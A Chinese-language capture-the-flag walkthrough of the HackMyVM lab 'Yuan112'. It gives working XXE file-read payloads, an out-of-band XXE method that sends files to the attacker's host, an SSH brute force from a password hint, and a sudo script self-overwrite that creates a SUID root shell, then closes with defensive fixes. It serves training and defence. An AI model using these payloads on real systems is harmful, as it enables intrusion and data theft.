HackMyVM Yuan112 通关记录|XXE 文件读取、GECOS 爆破与 sudo 脚本自覆盖提权
靶机链接:Yuan112
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Yuan112 | 192.168.1.102 | Debian 10 (buster) 靶机 |
复现提示: 靶机 IP 会随个人网络环境变化。本文命令以
192.168.1.102为例;如果你的 IP 不同,把命令中的目标 IP 替换成自己的靶机 IP 即可。Kali IP 用于 OOB XXE 回连,本文为192.168.1.113。
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp Apache | 锁定攻击面:Web 服务是唯一入口 |
| XXE 发现 | simplexml_load_string(..., LIBXML_NOENT) | 外部实体替换,读取本地文件 |
| GECOS 分析 | KQNPHFqG**JHcYJossIe | ** 为两位未知字符,可小规模穷举 |
| OOB XXE | 外部 DTD + HTTP 外传 | 稳定回传大文件或包含特殊字符的文件 |
| 密码穷举 | 62^2=3844 组合多线程爆破 | ** = 6m,获得 SSH 凭据 |
| 初始访问 | SSH 登录 tuf | 获得低权限 shell |
| sudo 枚举 | (ALL) NOPASSWD: /opt/112.sh | 确认提权入口 |
| 脚本分析 | -u 限制 URL,-o 可写任意文件 | 发现自覆盖 + 相对路径解析利用条件 |
| 提权利用 | 覆盖 /opt/112.sh,从可控目录再次 sudo 执行 | 以 root 身份运行攻击者 payload |
| Flag 收集 | /home/tuf/user.txt、/root/root.txt | 完成靶机 |
0x02 侦察与信息收集 (Reconnaissance)
1. 端口扫描
先用 RustScan 做快速端口发现,并让 Nmap 接手服务识别:
rustscan -a 192.168.1.102 --ulimit 5000 -- -sV -sC -O -oN nmap-initial.txt
首轮开放端口:
Open 192.168.1.102:22
Open 192.168.1.102:80
Nmap 复核后的服务摘要:
| 端口 | 协议 | 服务 | 指纹 / 备注 |
|---|---|---|---|
22/tcp | SSH | OpenSSH 8.4p1 Debian 5+deb11u3 | Debian 系统 |
80/tcp | HTTP | Apache httpd 2.4.62 (Debian) | 标题 XML Parser |
如果没有 RustScan,直接用 Nmap 也可以:
nmap -Pn -sV -sC -O -p 22,80 192.168.1.102 -oN nmap-22-80.txt
nmap -sT -Pn -p- --open 192.168.1.102 -oN nmap-fulltcp.txt
nmap -sU --top-ports 50 --open -Pn 192.168.1.102 -oN nmap-udp-top50.txt
TCP 全端口最终只确认 22 和 80。UDP Top 50 没有发现有效开放端口,因此主攻击面集中在 80 端口的 Web 服务。
2. Web 页面确认
访问首页:
curl -s http://192.168.1.102/ | grep -i title
返回标题为:
<title>XML Parser</title>
页面只有一个 XML 输入框。提交普通 XML 后会返回 SimpleXMLElement Object:
curl -s -X POST \
--data-urlencode 'xml=<root><test>hello</test></root>' \
http://192.168.1.102/
输出摘要:
SimpleXMLElement Object
(
[test] => hello
)
这说明后端会解析用户提交的 XML。下一步重点测试 XML 外部实体。
3. 通过 XXE 收集到的系统信息
后续通过 XXE 逐步确认到系统环境:
Hostname: 112
OS: Debian GNU/Linux 10.13 (buster)
Kernel: 4.19.0-27-amd64
PHP: 8.3 (Sury repo)
DB: MariaDB 10.5.23, Zabbix Server
0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)
1. XXE 漏洞确认
构造一个读取 /etc/passwd 的 XML:
cat > xxe-passwd.xml <<'XML'
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><test>&xxe;</test></root>
XML
curl -s -X POST --data-urlencode xml@xxe-passwd.xml \
http://192.168.1.102/
返回内容中可以看到本地用户:
root:x:0:0:root:/root:/bin/bash
...
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
zabbix:x:108:115::/nonexistent:/usr/sbin/nologin
这一步已经确认:XML Parser 存在 XXE 任意文件读取。
2. 读取 Web 源码确认漏洞成因
为了确认为什么外部实体会被替换,可以用 php://filter 读取 Web 源码并 base64 编码:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<root><test>&xxe;</test></root>
解码后关键代码如下:
if(isset($_POST['xml'])) {
$xml = $_POST['xml'];
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
if($data) echo "<pre>" . htmlspecialchars(print_r($data, true)) . "</pre>";
else echo "<pre>Parse Error</pre>";
}
核心问题是第三个参数 LIBXML_NOENT。这个标志会让 libxml 替换实体,因此攻击者定义的外部实体 file:///etc/passwd 会被真正读取并插入到 XML 结果中。
3. 内联 XXE 文件读取清单
常用读取方式有两类:
| 方式 | 示例 | 适用场景 |
|---|---|---|
file:// | file:///etc/passwd | 普通文本文件 |
php://filter | php://filter/convert.base64-encode/resource=/path/file | PHP 源码、二进制内容、特殊字符较多的文件 |
本机实测的关键文件:
| 文件 | 内容 / 用途 |
|---|---|
/etc/passwd | 发现 tuf 用户及 GECOS 字段密码线索 |
/home/tuf/user.txt | 可直接读取 User Flag |
/var/www/html/index.php | 确认 LIBXML_NOENT 漏洞成因 |
/etc/php/8.3/apache2/php.ini | disable_functions = 为空 |
/etc/zabbix/zabbix_server.conf | 发现 Zabbix 数据库凭据 zabbix / your_strong_password |
/usr/share/zabbix-server-mysql/data.sql.gz | 可用 compress.zlib:// 解压读取 SQL 初始数据 |
读取 User Flag 的 payload:
cat > xxe-user.xml <<'XML'
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///home/tuf/user.txt">
]>
<root><test>&xxe;</test></root>
XML
curl -s -X POST --data-urlencode xml@xxe-user.xml \
http://192.168.1.102/
输出:
flag{user-b1e12c74f19aac8e57f6fca1ff472905}
读取 gzip 压缩 SQL 时,可以把 compress.zlib:// 放到 php://filter 的 resource= 后面:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=compress.zlib:///usr/share/zabbix-server-mysql/data.sql.gz">
]>
<root><test>&xxe;</test></root>
这条链路可得到明文 SQL;其中 Zabbix Admin 默认密码相关哈希可进一步验证为 zabbix。它不是主线必需条件,但能说明 XXE 读取范围很大。
4. GECOS 字段:双星号密码线索
/etc/passwd 中 tuf 用户这一行非常关键:
tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
Linux 的 GECOS 字段通常用于保存用户全名、电话等描述信息。这里出现的 KQNPHFqG**JHcYJossIe 明显不像正常备注,更像 CTF 密码提示:
- 前缀固定:
KQNPHFqG - 后缀固定:
JHcYJossIe - 中间
**表示两位未知字符 - 如果字符集按
[0-9a-zA-Z]计算,组合数为62^2 = 3844
这个规模很小,适合直接对 SSH 做穷举验证。
5. OOB XXE 带外通道
内联回显读取对小文本很方便,但遇到内容较长、特殊字符较多或页面回显不稳定时,OOB XXE 更稳。OOB 的思路是:
- Kali 开 HTTP 服务托管恶意 DTD。
- 靶机解析 XML 时请求这个外部 DTD。
- DTD 读取目标文件并 base64 编码。
- 靶机再向 Kali 发起一次带参数的 HTTP 请求,把数据外带回来。
OOB XXE 不能绕过系统文件权限;例如 Web 进程无权读取
/etc/shadow时,OOB 也读不到。它解决的是“怎么稳定回显/外传”的问题,不是权限问题。
附件脚本:oob-xxe.py
python3 oob-xxe.py \
-f /etc/hostname \
-t http://192.168.1.102/ \
--kali 192.168.1.113 \
-p 7777
成功输出类似:
[*] HTTP 服务器启动在 0.0.0.0:7777
[+] DTD 已创建: .../hostname.dtd
[*] DTD 已请求: GET /hostname.dtd HTTP/1.1
[+] 外传成功 (4 bytes):
112
[+] 外传成功!/etc/hostname
[*] 服务器已关闭
参数说明:
| 参数 | 说明 |
|---|---|
-f /etc/hostname | 要从靶机读取的文件 |
-t http://192.168.1.102/ | 靶机 XML Parser 地址 |
--kali 192.168.1.113 | Kali 的回连 IP,靶机必须能访问 |
-p 7777 | Kali 临时 HTTP 服务端口 |
6. SSH 密码穷举
附件脚本:brute-gecos.py
python3 brute-gecos.py -t 192.168.1.102
输出:
[*] 字符集大小: 62, 组合数: 3844
[*] 并发线程: 10
[+] 密码找到: KQNPHFqG6mJHcYJossIe
[+] ** = 6m
得到 SSH 凭据:
| 用户 | 密码 |
|---|---|
tuf | KQNPHFqG6mJHcYJossIe |
7. SSH 初始访问
sshpass -p 'KQNPHFqG6mJHcYJossIe' ssh \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
tuf@192.168.1.102 'id; hostname'
输出:
uid=1000(tuf) gid=1000(tuf) groups=1000(tuf)
112
至此已获得低权限 shell。User Flag 前面已可通过 XXE 读取,也可以在 SSH 中读取:
cat /home/tuf/user.txt
flag{user-b1e12c74f19aac8e57f6fca1ff472905}
0x04 权限提升 (Privilege Escalation)
1. sudo 权限枚举
登录 tuf 后先看 sudo 权限:
sudo -l
输出:
Matching Defaults entries for tuf on 112:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User tuf may run the following commands on 112:
(ALL) NOPASSWD: /opt/112.sh
tuf 可以无密码以 root 身份执行 /opt/112.sh。这是本机最直接的提权入口。
2. 脚本分析与漏洞定位
查看脚本内容:
cat /opt/112.sh
核心逻辑如下:
#!/bin/bash
input_url=""
output_file=""
use_file=false
regex='^https://maze-sec.com/[a-zA-Z0-9/]*$'
while getopts ":u:o:" opt; do
case ${opt} in
u) input_url="$OPTARG" ;;
o) output_file="$OPTARG"; use_file=true ;;
esac
done
if [[ -z "$input_url" ]]; then
echo "错误: 必须使用 -u 参数提供URL"
exit 1
fi
if [[ ! "$input_url" =~ ^https://maze-sec.com/ ]]; then
echo "错误: URL必须以 https://maze-sec.com/ 开头"
exit 1
fi
if [[ ! "$input_url" =~ $regex ]]; then
echo "错误: URL包含非法字符,只允许字母、数字和斜杠"
exit 1
fi
if (( RANDOM % 2 )); then
result="$input_url is a good url."
else
result="$input_url is not a good url."
fi
if [ "$use_file" = true ]; then
echo "$result" > "$output_file"
echo "结果已保存到: $output_file"
else
echo "$result"
fi
脚本逻辑拆解:
| 参数 | 说明 | 限制 |
|---|---|---|
-u URL | 必填 URL | 必须匹配 ^https://maze-sec.com/[a-zA-Z0-9/]*$ |
-o FILE | 可选输出文件 | 无路径白名单,root 权限写入 |
| 输出内容 | echo "$result" | 固定格式:<URL> is [not] a good url. |
这个脚本表面上只是 URL 检查器,但在 sudo 上下文中等价于:普通用户可以让 root 向任意路径写入一行内容。
3. 利用思路:自覆盖 + 相对路径解析
直接写 /etc/sudoers.d/、/etc/cron.d/ 这类配置文件不稳定,因为写入内容被固定为:
https://maze-sec.com/pwn is a good url.
关键突破点是:-o 可以写任意文件,也包括脚本自身 /opt/112.sh。
利用步骤如下:
- 用
sudo /opt/112.sh -u https://maze-sec.com/pwn -o /opt/112.sh覆盖脚本自身。 /opt/112.sh变成一行纯文本,不再是带#!/bin/bash的脚本。- 再次执行
sudo /opt/112.sh时,execve对这种文本文件返回ENOEXEC,调用方会按脚本兼容逻辑交给/bin/sh解释。 /bin/sh把第一段https://maze-sec.com/pwn当作命令名执行,后面的is not a good url.只是参数。- 由于命令名包含
/且不是以/开头,shell 会把它当作相对路径。 - 只要当前目录下存在
https:/maze-sec.com/pwn,这个文件就会以 root 身份执行。
路径解析对应关系:
命令名: https://maze-sec.com/pwn
相对路径: ./https:/maze-sec.com/pwn
无论结果是 is a good url. 还是 is not a good url.,真正被执行的命令路径都是 https://maze-sec.com/pwn,所以随机分支不影响利用。
4. 手动提权步骤
先创建 payload 路径:
mkdir -p /tmp/ht/https:/maze-sec.com/
cat > /tmp/ht/https:/maze-sec.com/pwn <<'PAYLOAD'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
PAYLOAD
chmod +x /tmp/ht/https:/maze-sec.com/pwn
切换到 /tmp/ht,让相对路径从这里开始解析:
cd /tmp/ht
覆盖 /opt/112.sh 自身:
sudo /opt/112.sh -u https://maze-sec.com/pwn -o /opt/112.sh
head -1 /opt/112.sh
输出类似:
https://maze-sec.com/pwn is not a good url.
再次 sudo 执行已被覆盖的 /opt/112.sh:
sudo /opt/112.sh
此时 /tmp/ht/https:/maze-sec.com/pwn 会以 root 身份执行,并创建 SUID bash:
ls -l /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
输出:
uid=1000(tuf) gid=1000(tuf) euid=0(root) groups=1000(tuf)
flag{root-538dc127225a0c97b060b1ff9570390a}
5. 使用附件脚本一键执行
附件脚本:privesc-112.sh
在 Kali 上上传脚本:
sshpass -p 'KQNPHFqG6mJHcYJossIe' scp \
-o StrictHostKeyChecking=no \
/path/to/privesc-112.sh \
tuf@192.168.1.102:/tmp/privesc-112.sh
在靶机上执行:
chmod +x /tmp/privesc-112.sh
/tmp/privesc-112.sh
成功输出:
[+] SUID bash 已创建: /tmp/rootbash
=== Root Shell ===
uid=1000(tuf) gid=1000(tuf) euid=0(root) groups=1000(tuf)
=== Root Flag ===
flag{root-538dc127225a0c97b060b1ff9570390a}
这个提权方法会覆盖
/opt/112.sh。如果需要反复练习,建议先给靶机打快照;通关后也可以直接重置靶机。
6. 提权原理总结
| 机制 | 说明 |
|---|---|
| 任意文件写入 | sudo /opt/112.sh -o <path> 以 root 写入固定内容 |
| 脚本自覆盖 | -o /opt/112.sh 让 sudo 白名单脚本变成纯文本 |
ENOEXEC 回退 | 文本文件无法直接执行时,被调用方交给 /bin/sh 解释 |
| 相对路径解析 | https://maze-sec.com/pwn 被解析为当前目录下的 https:/maze-sec.com/pwn |
| 当前目录可控 | cd /tmp/ht 后再次 sudo,使相对路径指向攻击者 payload |
7. 其他已枚举向量(未作为主线)
| 向量 | 详情 |
|---|---|
/etc/sudoers.d/zabbix | zabbix ALL=(ALL) NOPASSWD: /usr/bin/nmap -O * |
/usr/local/bin/irc_bot.py | IRC 机器人,tuf 组可写 |
/etc/cron.d/php | 每 30 分钟以 root 执行 /usr/lib/php/sessionclean |
/etc/cron.daily/apache2 | 每日执行,source 自 /etc/default/apache-htcacheclean |
| SUID 二进制文件 | 仅发现标准系统 SUID 文件 |
/etc/ld.so.preload | 可用 112.sh 写入,但固定输出内容不如自覆盖稳定 |
0x05 最终成果 (Final Flags)
User Flag
- 路径:
/home/tuf/user.txt - 内容:
flag{user-b1e12c74f19aac8e57f6fca1ff472905}
Root Flag
- 路径:
/root/root.txt - 内容:
flag{root-538dc127225a0c97b060b1ff9570390a}
凭据汇总
| 类型 | 用户 | 值 | 来源 |
|---|---|---|---|
| GECOS 提示 | tuf | KQNPHFqG**JHcYJossIe | XXE 读取 /etc/passwd |
| SSH 密码 | tuf | KQNPHFqG6mJHcYJossIe | GECOS ** 穷举,** = 6m |
| MySQL (Zabbix) | zabbix | your_strong_password | /etc/zabbix/zabbix_server.conf |
| Zabbix Admin | Admin | zabbix | data.sql.gz 解压后验证 |
| User Flag | /home/tuf/user.txt | flag{user-b1e12c74f19aac8e57f6fca1ff472905} | XXE / SSH 读取 |
| Root Flag | /root/root.txt | flag{root-538dc127225a0c97b060b1ff9570390a} | SUID bash 读取 |
附件下载
| 脚本 | 说明 | 典型用法 | 链接 |
|---|---|---|---|
brute-gecos.py | GECOS 双星号多线程穷举 | python3 brute-gecos.py -t 192.168.1.102 | 下载 |
oob-xxe.py | OOB XXE 外部 DTD 数据外传 | python3 oob-xxe.py -f /etc/hostname -t http://192.168.1.102/ --kali 192.168.1.113 | 下载 |
privesc-112.sh | /opt/112.sh 自覆盖提权 | 上传到靶机后执行 /tmp/privesc-112.sh | 下载 |
复盘总结
这台靶机的主线很清晰:Web XML Parser 的 XXE 提供文件读取,/etc/passwd 的 GECOS 字段给出 SSH 密码线索,登录后通过 sudo 白名单脚本的自覆盖完成 root 提权。
-
LIBXML_NOENT是入口。 PHP 的 SimpleXML 默认并不会让外部实体变成任意文件读取;危险点在于代码显式传入了LIBXML_NOENT,导致外部实体被替换。 -
内联 XXE 和 OOB XXE 各有用途。 小文本可直接内联回显;长文件、特殊字符较多的文件更适合外部 DTD + HTTP 外带。
php://filter的 base64 编码能减少解析失败。 -
GECOS 字段不应该出现凭据线索。 这里的
KQNPHFqG**JHcYJossIe是典型 CTF 提示。两位未知字符的搜索空间很小,直接 SSH 穷举即可。 -
php://filter可以组合compress.zlib://。 遇到.gz文件时,不需要先下载再解压;PHP 流封装器可以原地解压并 base64 编码,适合通过 XXE 读取压缩 SQL。 -
sudo 脚本最怕可写自身。 当 NOPASSWD 脚本能以 root 写任意文件时,必须禁止写入自身、sudoers、cron 等关键路径。Yuan112 的关键突破正是
/opt/112.sh自覆盖。 -
这里不是“内核自动执行 shell”。 更准确地说,是脚本被覆盖成普通文本后,直接执行会触发
ENOEXEC,随后由调用方按兼容逻辑交给/bin/sh解释。再叠加相对路径解析和可控当前目录,就形成了 root 代码执行。
防守侧修复建议:
- XML 解析不要启用
LIBXML_NOENT;如必须解析 DTD,应禁用外部实体并做严格输入控制。 - 不要在 GECOS、注释、备份文件或配置文件中留下密码提示。
sudo白名单脚本应使用绝对路径、最小权限和输出路径白名单。- 脚本写文件前应拒绝写入自身和系统关键目录。
- 对 sudo 白名单文件做完整性校验,避免脚本被覆盖后继续位于允许执行路径。